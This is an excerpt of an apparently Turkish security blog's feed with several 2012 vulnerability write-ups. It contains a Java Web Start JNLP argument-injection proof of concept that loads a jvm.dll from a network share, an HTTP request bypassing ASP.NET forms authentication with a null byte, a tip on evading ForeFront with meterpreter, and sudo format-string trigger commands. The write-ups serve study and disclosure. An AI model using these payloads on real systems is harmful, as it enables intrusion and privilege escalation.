&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDz_p5OvrVeWO1g5Vz_ChyPWeGMao3LUTYy1hlODS88Yp8F4TrNW_y4mWWfYFVdQBuU_9LxJRv34patDMFOTHBKsjU-EzxeH_IJd6alo-vPMY2aYC3zn39zWBFcOFTneyL9p9NwbUc0H5Y/s1600/patched.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;329&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDz_p5OvrVeWO1g5Vz_ChyPWeGMao3LUTYy1hlODS88Yp8F4TrNW_y4mWWfYFVdQBuU_9LxJRv34patDMFOTHBKsjU-EzxeH_IJd6alo-vPMY2aYC3zn39zWBFcOFTneyL9p9NwbUc0H5Y/s400/patched.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Yukaridaki ekran goruntusu 6.0.310.5 yani Subat CPU paketi ile guncellenmis versiyona ait javaws.exe. Kirmizi kisimlar daha once olmayip ilgili fonksiyona eklenmiş ekstra kodlar anlamına geliyor. 22h yani cift tirnak karakteri icin kontroller (cmp byte ptr [edx+eax], 22h vs..) eklenmis.&lt;br /&gt;
&lt;br /&gt;
Az once vermis oldugum ornek JNLP dosyasi uzerinden bir PoC olusturdum. &amp;lt;j2se&amp;gt; taginin parametrelerini kurcalayarak sonuca ulastim. JNLP argumanlarinin cift tirnak icinde tutuldugu string&#39;in disina kacip asil javaw.exe process&#39;ine ait argumanlara veri enjekte edebilmek icin bircok deneme yaptim. Sonuc olarak asagidaki gibi bir PoC ile komut calistirmak mumkun, exploit&#39;ini malesef paylasmiyorum zira &quot;&lt;i&gt;Java, günümüzde 4,5 milyarı aşkın aygıta güç katmaktadır..&lt;/i&gt;&quot; eheh [3]. Ugrasmak isteyenlere yardimci olacak bir ipucu; SysInternals Process Explorer gibi bir yazilim kullanarak JavaWS tarafindan baslatilan javaw.exe surecinin hangi komut satiri argumanlari ile baslatildigina kolayca bakabilirsiniz, debugging vs.. ihtiyaciniz kalmaz.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;PoC:&lt;/b&gt;&lt;br /&gt;
&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&lt;br /&gt;
&amp;lt;jnlp spec=&quot;1.0+&quot; codebase=&quot;http://localhost/j/h0h0&quot; href=&quot;example2.jnlp&quot;&amp;gt;&lt;br /&gt;
&amp;lt;information&amp;gt;&lt;br /&gt;
&amp;lt;title&amp;gt;lol&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/information&amp;gt; &lt;br /&gt;
&amp;lt;resources&amp;gt;&lt;br /&gt;
&amp;lt;jar href=&quot;example.jar&quot;/&amp;gt;&lt;br /&gt;
&amp;lt;j2se version=&quot;1.6+&quot; java-vm-args=&#39;-esa -Dsun.java2d.noddraw=true&quot;&#39; max-heap-size=&#39;16m&quot; -J-XXaltjvm=C:\xxx &quot;&#39; initial-heap-size=&#39;16m&#39;/&amp;gt;&lt;br /&gt;
&amp;lt;/resources&amp;gt;&lt;br /&gt;
&amp;lt;application-desc main-class=&quot;Example&quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/jnlp&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Baslatilacak javaw.exe&#39;ye arguman olarak daha once Ruben Santamarta&#39;nın bahsetmis oldugu -J-XXaltjvm argumanini kullandim.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoxTgcVT7NipQ5JpYwj285uBSAu8Pj6EOQGepq9d5u9F32NiMcTzik9df6jfw_lA_HM9LIj4I6Ikm-c5JBDgRe-95jfpCVRgymAJ-MJ50y8pBvu3idA3hiY1Nx37g7nIz-uW7PBRY-C-Ry/s1600/PoC.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;184&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoxTgcVT7NipQ5JpYwj285uBSAu8Pj6EOQGepq9d5u9F32NiMcTzik9df6jfw_lA_HM9LIj4I6Ikm-c5JBDgRe-95jfpCVRgymAJ-MJ50y8pBvu3idA3hiY1Nx37g7nIz-uW7PBRY-C-Ry/s320/PoC.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
JRE C:\xxx klasorunde jvm.dll dosyasi var mi diye bir bakacak, varsa calistiracak. C:\xxx yerine bir paylasim klasoru ekleseydim \\IP\x gibi ve o klasorde de jvm.dll dosyasi olsaydi ne olacakti peki? eheh guzel olurdu herhalde :&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[EDIT] Aciga ait metasploit modulude yayinlanmis, o halde bende paylasabilirim. :&amp;gt; C:\xxx yerine \ip\xxx yazip xxx klasorunu paylasima acmak yeterli. Icerisinde jvm.dll adinda bir dosya varsa calistirilacak.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbdkHYD_vKp9etwKdl8qSghWn14QoDJ1ApYVT1QUcK7KGERMEcdrpKJojgguwPGamwbWHCRcjsAAqisrKGG618mLuCYjijmI1gfTG3DYuPhpEqsE7VkmhxV3geaMBPKDl4ZgCwYfpPo16a/s1600/PoC2.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbdkHYD_vKp9etwKdl8qSghWn14QoDJ1ApYVT1QUcK7KGERMEcdrpKJojgguwPGamwbWHCRcjsAAqisrKGG618mLuCYjijmI1gfTG3DYuPhpEqsE7VkmhxV3geaMBPKDl4ZgCwYfpPo16a/s400/PoC2.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJKe90nmcvRPxyDIf_qXTITGVNkGqn9612dBo82ZLhyphenhyphenr_2DqKxAw77-uPdxjHRPYaIIomKn8cx_rytgQQQyu6FkmjOIdcQYul7upkioe3uuVwdzxovjqgsSVBz9x_xcXtzrzZ1MgsejdFJ/s1600/PoC3.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJKe90nmcvRPxyDIf_qXTITGVNkGqn9612dBo82ZLhyphenhyphenr_2DqKxAw77-uPdxjHRPYaIIomKn8cx_rytgQQQyu6FkmjOIdcQYul7upkioe3uuVwdzxovjqgsSVBz9x_xcXtzrzZ1MgsejdFJ/s1600/PoC3.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[1] &lt;a href=&quot;http://www.zerodayinitiative.com/advisories/ZDI-12-039/&quot;&gt;http://www.zerodayinitiative.com/advisories/ZDI-12-039/&lt;/a&gt;&lt;br /&gt;
[2] &lt;a href=&quot;http://seclists.org/fulldisclosure/2010/Apr/119&quot;&gt;http://seclists.org/fulldisclosure/2010/Apr/119 &lt;/a&gt;&lt;br /&gt;
[3] &lt;a href=&quot;http://www.java.com/tr/about/&quot;&gt;http://www.java.com/tr/about/&lt;/a&gt;&lt;br /&gt;
[4] &lt;a href=&quot;http://www.reversemode.com/index.php?option=com_content&amp;amp;task=view&amp;amp;id=67&amp;amp;Itemid=1&quot;&gt;http://www.reversemode.com/index.php?option=com_content&amp;amp;task=view&amp;amp;id=67&amp;amp;Itemid=1&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/2126035502171914893/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2012/02/java-web-start-cmd-arg-injection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/2126035502171914893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/2126035502171914893'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2012/02/java-web-start-cmd-arg-injection.html' title='Java Web Start Cmd Arg Injection'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKw_fDsJd-SxfdlMDvb0XzhmMdllStw3oK-Az5ZW6cLB42HWlQYV-fwH7DB_wNa7VOb9dvPySTHTXa6ctjoic98ThJlw6jJhHh_s__CgmHrkMe_ErT7iFdAmHNQZHvttEjQ9Ybb-MIU_Cx/s72-c/start.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-1972975369506626547</id><published>2012-02-16T14:06:00.000+02:00</published><updated>2012-02-16T22:00:03.097+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".net"/><category scheme="http://www.blogger.com/atom/ns#" term="application security"/><category scheme="http://www.blogger.com/atom/ns#" term="cve-2011-3416"/><category scheme="http://www.blogger.com/atom/ns#" term="exploiting"/><category scheme="http://www.blogger.com/atom/ns#" term="forms authentication bypass"/><category scheme="http://www.blogger.com/atom/ns#" term="microsoft .net"/><category scheme="http://www.blogger.com/atom/ns#" term="ms11-100"/><category scheme="http://www.blogger.com/atom/ns#" term="null byte"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability"/><category scheme="http://www.blogger.com/atom/ns#" term="web app security"/><category scheme="http://www.blogger.com/atom/ns#" term="web application"/><title type='text'>MS11-100 - ASP.NET Forms Auth. Bypass - Revenge of the 0x00</title><content type='html'>Microsoft &lt;a href=&quot;http://technet.microsoft.com/en-us/security/bulletin/ms11-100&quot;&gt;MS11-100&lt;/a&gt; güncellemesi ile geçen ay sonlarına doğru meşhur HashTable Collision DoS (&lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3414&quot;&gt;CVE-2011-3414&lt;/a&gt;), .NET Forms Authentication Bypass (&lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3416&quot;&gt;CVE-2011-3416&lt;/a&gt;) v.b. .NET platformunu etkileyen güvenlik açıklarını kapattı. Bu blog girdisinde ele alacağım zafiyet ise .NET Forms Authentication Bypass (Revenge of the NULL Byte).&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;PHP&#39;nin ortalama 6-7 yıl sonra kapattığı NULL byte zafiyetini hatırlarsınız. LFI açıklarında vs.. varolan dosya uzantılarını PHP atlasın diye LFI atak vektörünün sonuna eklerdik (şimdilerde bu açık kapandı fakat halen eski PHP versiyonlarında varlığını sürdürüyor). Güvensiz bir şekilde string kopyalama işlemlerinde &lt;span style=&quot;none;&quot;&gt;%0&lt;/span&gt;0 (NULL byte), terminate char olarak kabul edildiği için NULL karakterinden sonraki karakterler ilgili buffer&#39;a kopyalanmıyor. String uzunluğu hesaplama sırasında eğer güvensiz bir kullanım olduğunda fonksiyon sadece NULL karakterine kadar olan kısmın geçerli olduğunu düşünüp ona göre uzunluk gönderiyor. Genel olarak NULL byte ile ilgili saldirilar bu durumlardan oluşuyordu. Mevzu bahis zafiyette string&#39;in uzunluğu hesaplanırken lstrlenW &quot;güvensiz&quot; fonksiyonu kullanıldığı için NULL karakterine kadar hesaplama yapıyor ve ilgili buffer&#39;a NULL karakterinden sonrasını kopyalamıyor. Yani şöyle bir durum girdiniz değer input değişkeni olsun;&lt;br /&gt;
&lt;b&gt;input&lt;/b&gt; = &quot;username&quot;&lt;br /&gt;
&lt;b&gt;len&lt;/b&gt; = lstrlenW(&lt;b&gt;input&lt;/b&gt;) // input&#39;un karakter uzunluğu - 8&lt;br /&gt;
// herhangi bir buffer&#39;a &lt;b&gt;input&lt;/b&gt; değişkeninin &lt;b&gt;len&lt;/b&gt; karakterini kopyala&lt;br /&gt;
&lt;br /&gt;
Fakat ben input içerisinde NULL byte eklersem yine termination karakteri görevini görecek. MSDN&#39;de de ilgili fonksiyonun vukuatlı olduğu bildiriliyor.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLdJyPcecpZyF02vAwifpOcrGCG6aau_V7GcvQdllonQwSGvukDRdf-einII-SYDlOVajDKB_90IBITYkLMcAcAuJ94w6S5tmSjFuuzt0j1BcNufBYeZwEUd9D1psUJZTsGDVrRgz-o_PM/s1600/lstrlenW.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;66&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLdJyPcecpZyF02vAwifpOcrGCG6aau_V7GcvQdllonQwSGvukDRdf-einII-SYDlOVajDKB_90IBITYkLMcAcAuJ94w6S5tmSjFuuzt0j1BcNufBYeZwEUd9D1psUJZTsGDVrRgz-o_PM/s400/lstrlenW.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;MSDN lstrlenW fonksiyonu uyarısı&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
Az önceki input değişkenine müdahele edersem eğer;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;input&lt;/b&gt;&amp;nbsp;= &quot;username&lt;span style=&quot;none;&quot;&gt;%0&lt;/span&gt;0aaa&quot;&lt;br /&gt;
&lt;b&gt;len&lt;/b&gt;&amp;nbsp;= lstrlenW(&lt;b&gt;input&lt;/b&gt;) // input&#39;un karakter uzunluğu - 8&lt;br /&gt;
// herhangi bir buffer&#39;a&amp;nbsp;&lt;b&gt;input&lt;/b&gt;&amp;nbsp;değişkeninin&amp;nbsp;&lt;b&gt;len&lt;/b&gt;&amp;nbsp;karakterini kopyala&lt;br /&gt;
&lt;br /&gt;
Yine aynı durum oldu ve en sondaki &quot;aaa&quot; işleme dahil edilmedi. Bu tip bir kopyalama işlemini kullanan webengine4.dll Forms Authentication Bypass zafiyetine sebebiyet veriyor. Çünkü System.Web.dll içerisindeki tanımlı giriş yapmış kullanıcı için oluşturulan ticket&#39;i doğrulayan fonksiyon webengine4.dll içerisindeki bu fonksiyon ile kullanıcı adını aldığı için otomatik olarak hak yükseltmeye sebebiyet veriyor.&lt;br /&gt;
&lt;br /&gt;
Saldırganın başarılı olabilmesi için sistem üzerinde geçerli bir kullanıcı adını bilmesi lazım (ki ticket validation sırasında bu daha yüksek hakka sahip kullanıcı olarak yetki kazansın) ve sisteme yeni bir kullanıcı olarak kaydolabilmeye izni olması lazım. Atak vektörü olarak kullanıcı adını VarolanBirKullanıcı&lt;span style=&quot;none;&quot;&gt;%0&lt;/span&gt;0XX şeklinde sisteme kaydetmesi gerekmektedir. NULL Byte sonrası önemsenmeyeceği için oraya ne girdiğinizin pek bir önemi yok aslında.&lt;br /&gt;
&lt;br /&gt;
Örnek bir saldırıya ait HTTP isteği;&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;POST /Membership/CreatingUserAccounts.aspx HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0)
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 3966

__EVENTTARGET=...&amp;amp;__EVENTARGUMENT=...&amp;amp;__VIEWSTATE=...&amp;amp;__EVENTVALIDATION=...&amp;amp;ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24UserName=admin&lt;span style=&quot;none;&quot;&gt;%0&lt;/span&gt;0z&amp;amp;ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24Password=12345a%21&amp;amp;ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24ConfirmPassword=12345a%21&amp;amp;ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24Email=admin%40slimshady.com&amp;amp;ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24Question=slim%3F&amp;amp;ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24Answer=shady&amp;amp;ctl00%24MainContent%24RegisterUser%24__CustomNav0%24StepNextButtonButton=Create+User

HTTP/1.1 200 OK
Connection: close
Date: Wed, 08 Feb 2012 21:32:22 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXAUTH=...; path=/; HttpOnly
Cache-Control: private, no-cache=&quot;Set-Cookie&quot;
Content-Type: text/html; charset=utf-8
Content-Length: 22161
&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
ctl00%24MainContent%24RegisterUser%24CreateUserStepContainer%24UserName=&lt;span style=&quot;background-color: yellow; font-weight: bold;&quot;&gt;admin&lt;/span&gt;&lt;span style=&quot;background-color: red; color: white; font-weight: bold;&quot;&gt;&lt;span style=&quot;none;&quot;&gt;%0&lt;/span&gt;0&lt;/span&gt;&lt;span style=&quot;background-color: yellow; font-weight: bold;&quot;&gt;z&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfBcws3j_185GQLmyQRY9cPIUyy42VICHIJezt-8T7hH7TnlIkiD0Xw0d-OGznkNEFqs9jnfyecE0D0Xi_rJKlUb0PfgzAJ2ZEiF5yOFrYUm6i8EH6cQmjHzJATK6zE6rXdTsMZR4Z8lWZ/s1600/ms11-100.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;187&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfBcws3j_185GQLmyQRY9cPIUyy42VICHIJezt-8T7hH7TnlIkiD0Xw0d-OGznkNEFqs9jnfyecE0D0Xi_rJKlUb0PfgzAJ2ZEiF5yOFrYUm6i8EH6cQmjHzJATK6zE6rXdTsMZR4Z8lWZ/s320/ms11-100.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Sonuç olarak saldırgan &lt;b&gt;admin&lt;span style=&quot;none;&quot;&gt;%0&lt;/span&gt;0z&lt;/b&gt; kullanıcı adıyla sisteme başarıyla üye olabilmekte. Ardından login olduğunda ise /Admin/ dizini altındaki dosyalara izni olmasa dahi erişebilmekte, çünkü lstrlenW kullanımından dolayı Ticket doğrulama aşamasında NULL Byte karakteri stringi sonlandırmakta ve kullanıcı adı admin zannedilmektedir. DotNetNuke isimli open-source ASP.NET uygulamasınında ilgili zafiyeti içerdiği söylenmekte. Benim söyleyeceklerim bu kadar, her zaman ki gibi hatırlatma yapayım; yazı içerisinde eksik, hata vs.. varsa ve bildirirseniz çok memnun olurum.&lt;br /&gt;
&lt;br /&gt;
Görüldüğü üzere NULL&#39;da olsa ciddiye almak lazım &lt;i&gt;:)&lt;/i&gt;</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/1972975369506626547/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2012/02/ms11-100-aspnet-forms-auth-bypass.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/1972975369506626547'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/1972975369506626547'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2012/02/ms11-100-aspnet-forms-auth-bypass.html' title='MS11-100 - ASP.NET Forms Auth. Bypass - Revenge of the 0x00'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLdJyPcecpZyF02vAwifpOcrGCG6aau_V7GcvQdllonQwSGvukDRdf-einII-SYDlOVajDKB_90IBITYkLMcAcAuJ94w6S5tmSjFuuzt0j1BcNufBYeZwEUd9D1psUJZTsGDVrRgz-o_PM/s72-c/lstrlenW.PNG" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-3960640205090516480</id><published>2012-02-03T03:06:00.000+02:00</published><updated>2012-02-03T03:13:16.055+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="forefront bypass"/><category scheme="http://www.blogger.com/atom/ns#" term="metasploit"/><category scheme="http://www.blogger.com/atom/ns#" term="meterpreter"/><category scheme="http://www.blogger.com/atom/ns#" term="microsoft forefront"/><category scheme="http://www.blogger.com/atom/ns#" term="penetration test"/><category scheme="http://www.blogger.com/atom/ns#" term="pentest"/><category scheme="http://www.blogger.com/atom/ns#" term="windows"/><title type='text'>Is ForeFront Bypassable?</title><content type='html'>Is Microsoft&#39;s ForeFront bypassable? Maybe yes (not confirmed yet). During a penetration test of one of our clients (on my past job), ForeFront don&#39;t allow us to get meterpreter session (expected result lol), when meterpreter copied to disc, ForeFront denied (possible detect it as malicious) outgoing connections of meterpreter. But in another case, we inspect that when you execute your meterpreter executable over Network Share folder, you are bypassing(high possibility, i am not sure it&#39;s a feature or not) ForeFront and ForeFront will not check your executable. &lt;br /&gt;
&lt;br /&gt;
Firstly we got an RDP session (we found local administrator password but we need mpreter for some local priv. escalations etc..), mount our local disk to target machine, run meterpreter executable from network share and BINGO! we have a session!</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/3960640205090516480/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2012/02/is-forefront-bypassable.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/3960640205090516480'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/3960640205090516480'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2012/02/is-forefront-bypassable.html' title='Is ForeFront Bypassable?'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-1404670800948844361</id><published>2012-02-03T03:02:00.000+02:00</published><updated>2012-02-03T03:04:32.845+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="format string"/><category scheme="http://www.blogger.com/atom/ns#" term="hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><category scheme="http://www.blogger.com/atom/ns#" term="sudo"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability"/><title type='text'>sudo format string vulnerability</title><content type='html'>Uygulama Güvenliği dünyasını eski zamanlara geri götüren klasik bir format string bug&#39;i bugün yayınlandı. Zafiyet Sudo 1.8.0 - 1.8.3 p1 sürümlerini etkilemekte. Ilginç olan ise sudo gibi kritik bir uygulamada bu basit hatalar ile karşılaşmak. 

&lt;br /&gt;
&lt;pre&gt;easprintf(&amp;amp;fmt2, &quot;%s: %s\n&quot;, getprogname(), fmt);
va_start(ap, fmt);
vfprintf(stderr, fmt2, ap);&lt;/pre&gt;

Görüldüğü üzere ftm2 string&#39;ine getprogname() methodu ile argv[0] (yani kodu çalıştıran dosyanın adı oluyor bu C&#39;de) atanıyor. Ardından vprintf ile yazdırılıyor. ln -s /usr/bin/sudo %n yaparak sudo&#39;ya %n isminde bir link oluşturup açığı tetikleyebilirsiniz. 

&lt;i&gt;-- Zafiyetten alınmıştır bu kısım --&lt;/i&gt;
&lt;br /&gt;
&lt;pre&gt;/tmp $ ln -s /usr/bin/sudo %n
/tmp $ ./%n -D9
*** %n in writable segment detected ***
Aborted
/tmp $&lt;/pre&gt;

Görüldüğü üzere basit hata &amp;amp; kritik durum. Sanırım uygulama güvenliği kavramını iyi özetliyor. Güvenli günler.&lt;br /&gt;
&lt;br /&gt;
Orjinal Advisory:&lt;br /&gt;
http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20120130/2e40de71/attachment-0001.txt</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/1404670800948844361/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2012/02/uygulama-guvenligi-dunyasn-eski.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/1404670800948844361'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/1404670800948844361'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2012/02/uygulama-guvenligi-dunyasn-eski.html' title='sudo format string vulnerability'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-5171214420156819876</id><published>2011-07-27T11:49:00.000+03:00</published><updated>2011-08-01T11:01:44.281+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dep bypass"/><category scheme="http://www.blogger.com/atom/ns#" term="exploit"/><category scheme="http://www.blogger.com/atom/ns#" term="exploiting"/><category scheme="http://www.blogger.com/atom/ns#" term="rop"/><title type='text'>Return-Oriented Programming / DEP Bypass</title><content type='html'>&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #0b5394; font-size: large;&quot;&gt;Giriş&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
Öncelikle şunu belirtmekte fayda var bu makale Türkiye güvenlik &amp;amp; hacking topluluğuna destek amaçlı teknik konularda bilgi ve beceri kazandırabilme adına yazılmıştır. Makalede eksik ya da yanlış gördüğünüz kısımları lütfen yorum olarak/e-mail ile bana ulaştırınız gerekli düzenlemeleri hep birlikte yapalım. Ayrıca şunuda belirtmek lazım şuan için bu makalede sadece Windows üzerinde DEP korumasının ROP tekniği ile aşılması ele alınmıştır, başka işletim sistemleri içinde ilerleyen süreçte yazabilirim -&lt;i&gt;vakit olursa&lt;/i&gt;- umarım.&lt;br /&gt;
&lt;br /&gt;
